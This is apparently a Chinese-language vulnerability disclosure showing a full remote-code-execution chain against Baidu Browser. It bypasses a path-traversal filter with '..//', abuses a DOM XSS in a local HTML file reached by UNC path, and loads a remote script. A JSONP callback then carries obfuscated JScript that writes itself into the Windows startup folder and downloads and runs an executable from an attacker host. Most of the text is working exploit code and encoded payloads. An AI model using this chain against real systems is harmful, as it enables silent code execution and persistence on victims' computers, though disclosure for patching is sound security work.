1. 更新到最新版,发现之前的漏洞已经被修补,于是将bdbrowser.skin.download API进行重试了测试一下, 发现做了以下更改:
A. 当使用 ../../../../../cmd.exe 这种方式来对写入路径往上级目录跳转时,发现对方仅会取值cmd.exe,也就是说../../../全部被忽略掉了。 B. 对于下载皮肤的来源进行了过滤,仅允许来自 *.baidu.com下的资源文件。
2. 随后,我对每个参数的过滤方式进行了猜测式的尝试绕过,发现:
A. ../../../ 的方式会被过滤,但是 ..//..//..// 的方式却不会被过滤,这样一来,我们依然可以向上级目录写入内容 B. 限制下载资源来源为*.baidu.com的方式太过于宽松,依然结合一些 *.baidu.com下的资源接口,比如jsonp接口,来实现执行本地命令。
3. 从上面我们不难看出,只要我们再次可以调用特权API,我们又可以导致命令执行了。 4. 由于利用blob/filesystem协议绕过的方式已经被修补,但file域依然是具有权限的。 此前,我对百度浏览器目录下的htm类资源进行过审查,发现在百度浏览器的安装目录下的: 安装目录\resource\extension\security\safe_default.html 安装目录\resource\extension\security\safe_service.html 均存在DOM XSS代码,缺陷代码比较明显:
var obj = queryHash(decodeURIComponent(location.hash).replace("#", "")); document.getElementById("name").innerHTML = obj.name; document.getElementById("path").innerHTML = obj.path;
但由于queryHash中获取参数时以“=”号分隔,使得我们的利用代码里不能具有等号,不需要等号的XSS向量,只有<script>alert(1)</script>,然而大家都知道, xx.innerHTML="<script></script>" 并不会去执行script标签内的脚本。只有在IE浏览器下,使用1<script/defer></script>才能使得脚本被执行。 5. 因此,我们又要利用 《百度浏览器远程命令执行》中 ftp强制使用IE内核的方法。然而,该html文件在本地域,我们想要使用<iframe src="file://..../resource\extension\security\safe_service.html"></iframe>的方式直接去访问该缺陷html是不行的。不过庆幸的是,由于是IE内核,我们可以通过UNC path来实现访问本地html的目的,该方法在《搜狗浏览器任意文件读取漏洞 》( WooYun: 搜狗浏览器任意文件读取漏洞 )同样被使用过。 我们可以据此来构造利用代码:
<iframe style="width:1px; height:1px;" src='\\127.0.0.1/C$/Program Files/baidu/baiduBrowser/resource/extension/security/safe_default.html#path=aa<script/defer>eval(window.name);</script>' name='var s=document.createElement("script");s.src="http://192.168.1.105/test/baidu3.js?"+Math.random();document.body.appendChild(s);'></iframe>
利用代码会通过 safe_default.html的DOM XSS实现调用baidu3.js 6.baidu3.js总体上和《百度浏览器远程命令执行二 - 绕过特权域限制 》中的命令执行代码相类似,以下是几个不同的点:
A. JSON.parse 被改用为 eval("("+data+")") 的方式以支持低版本IE核。 B. bdbrowser.skin.download 的写入地址,采用 ..//..//..//..//启动目录//test.js 的方式绕过对../../的过滤,向启动目录中写入test.js C. 使用随便找的一个 xapp.baidu.com 下的jsonp接口,将callback回调函数名称替换为我们要执行的恶意JS代码内容。
7. 第6步中所述的JSONP构造如下: A. 首先写一个下载计算器并执行的JS代码
var x=new ActiveXObject("Microsoft.XMLHTTP"); x.open("GET","http://192.168.1.105/calc.exe",false); x.send(); var s=new ActiveXObject("ADODB.Stream"); s.Mode=3; s.Type=1; s.Open(); s.Write(x.responseBody); s.SaveToFile("calc.exe"); var y=new ActiveXObject("WScript.Shell"); y.run("calc.exe");
B. 然后转换成只有括号的形式(http://app.baidu.com/app/enter?appid=280383):
eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59))
C. 放入JSONP的callback参数中。 http://xapp.baidu.com/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void D. 将上面地址作为 bdbrowser.skin.download 函数的下载资源来源地址。 8. 其它代码,比如获取用户目录同上一篇文章,当用户访问我们恶意构造的网页后,JSONP页面的内容将被保存到启动目录下,名字为test.js, 用户下次开机启动后,test.js将会被执行,并远程下载calc.exe,然后执行calc.exe
9. 修改后的利用代码baidu3.js 如下:
function getInstallList(id,list){ var result=eval("("+list+")"); var apps=result.content.ItemList; var deleteID=""; for(var i=apps.length-1;i>=0;i--){ if(/\w{32}/.test(apps[i]["ID"])){ deleteID=apps[i]["ID"]; break; } } //alert("deleteID:"+deleteID); if(!deleteID){ //不存在自安装插件,通过安装法来获得user window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","getUser","{\"ID\":\"eococdloljmhdpnihekiiohodgcgjigh\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c95d9d7.crx\",\"UPDATE\":\"false\"}",window,""); }else{ //通过删除插件法来实现静默执行 window.external.StartRequest(222,"AppService.AppMarket.DeleteExt","getUser","{\"ID\":\""+deleteID+"\"}",window,""); } } function getUser(id,res){ var isWin7=/NT\s+6/.test(navigator.userAgent); var user=isWin7?(res.match(/[A-Z]:[\\\\\/]+Users[\\\\\/]+([^\\\/]+)[\\\\\/]+AppData/)||["",""])[1]:(res.match(/[A-Z]:[\\\\\/]+(Documents and Settings|DOCUME~1)[\\\\\/]+([^\\\/]+)[\\\\\/]+/)||["",""])[2]; generateCMD(user); } function main(){ window.external.StartRequest(222,"AppService.AppMarket.GetInstalledList","getInstallList","{\"RequireDetail\":\"1\",\"RequirePermission\":\"1\"}",window,""); } function generateCMD(user){ //alert("Current User:"+user+"\n"); var isWin7=/NT\s+6/.test(navigator.userAgent); var win7="Users//"+user+"//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//test.js"; var xp="Documents and Settings//"+user+"//「开始」菜单//程序//启动//test.js"; //alert("1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"\""); window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"\",\"url\":\"http://xapp.baidu.com/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void\"}",window,"") } try{main();}catch(e){};